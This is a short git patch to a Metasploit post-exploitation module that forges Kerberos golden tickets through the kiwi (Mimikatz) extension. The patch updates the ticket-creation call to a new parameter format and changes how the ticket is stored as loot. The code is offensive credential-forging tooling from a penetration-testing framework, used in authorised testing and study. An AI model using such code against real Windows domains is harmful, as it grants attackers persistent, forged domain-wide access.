From 18e69b85af0fb9332b1c3432d299053692d858ab Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 23 Dec 2016 10:30:06 +1000 Subject: [PATCH] Update the golden ticket module to work with new kiwi --- modules/post/windows/escalate/golden_ticket.rb | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/escalate/golden_ticket.rb b/modules/post/windows/escalate/golden_ticket.rb index 38bedc7179..13fdfeb94e 100644 --- a/modules/post/windows/escalate/golden_ticket.rb +++ b/modules/post/windows/escalate/golden_ticket.rb @@ -52,9 +52,6 @@ class MetasploitModule < Msf::Post domain_sid = datastore['SID'] id = datastore['ID'] || 0 - groups = [] - groups = datastore['GROUPS'].split(',').map(&:to_i) if datastore['GROUPS'] - unless domain print_status('Searching for the domain...') domain = get_domain @@ -103,12 +100,19 @@ class MetasploitModule < Msf::Post end print_status("Creating Golden Ticket for #{domain}\\#{user}...") - ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups) + ticket = client.kiwi.golden_ticket_create({ + user: user, + domain_name: domain, + domain_sid: domain_sid, + krbtgt_hash: krbtgt_hash, + id: id, + group_ids: datastore['GROUPS'] + }) if ticket print_good('Golden Ticket Obtained!') ticket_location = store_loot("golden.ticket", - "binary/kirbi", + "base64/kirbi", session, ticket, "#{domain}\\#{user}-golden_ticket.kirbi",